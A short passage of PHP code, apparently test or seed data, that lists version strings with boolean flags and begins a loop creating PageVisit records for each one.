['18.5.1', false],
['18.6', true],
['18.6.1', true],
['18.6.2', true],
['18.6.3', false],
['18.7', false],
['18.7', true],
['18.7.1', true],
['18.7.2', true],
['18.7.3', false],
];
foreach ($rows as $i => [$ver, $_]) {
PageVisit::query()->create([